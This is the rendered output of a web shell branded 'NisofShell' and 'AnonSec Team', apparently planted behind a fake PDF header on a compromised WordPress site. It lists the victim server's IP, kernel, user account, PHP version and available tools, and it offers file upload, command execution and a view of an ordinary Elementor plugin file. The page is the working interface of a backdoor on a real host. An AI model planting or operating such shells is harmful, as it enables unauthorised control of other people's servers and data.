%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Nisof Was Here
NisofShell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.162
Web Server : Apache
System : Linux webm002.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : wellingtpa ( 97533)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wellingtpa/www/wp-content/plugins/elementor/core/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/wellingtpa/www/wp-content/plugins/elementor/core/utils/template-library-element-iterator.php
<?php

namespace Elementor\Core\Utils;

use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Template_Library_Element_Iterator {
	public static function iterate( array $elements, callable $callback ): array {
		if ( ! self::is_valid_elements_array( $elements ) ) {
			return $elements;
		}

		return Plugin::instance()->db->iterate_data( $elements, $callback );
	}

	private static function is_valid_elements_array( array $elements ): bool {
		if ( empty( $elements ) ) {
			return true;
		}

		if ( isset( $elements['elType'] ) ) {
			return true;
		}

		$first_element = reset( $elements );

		return is_array( $first_element ) && (
			isset( $first_element['elType'] ) ||
			isset( $first_element['id'] ) ||
			empty( $first_element )
		);
	}
}

Anon7 - 2022
AnonSec Team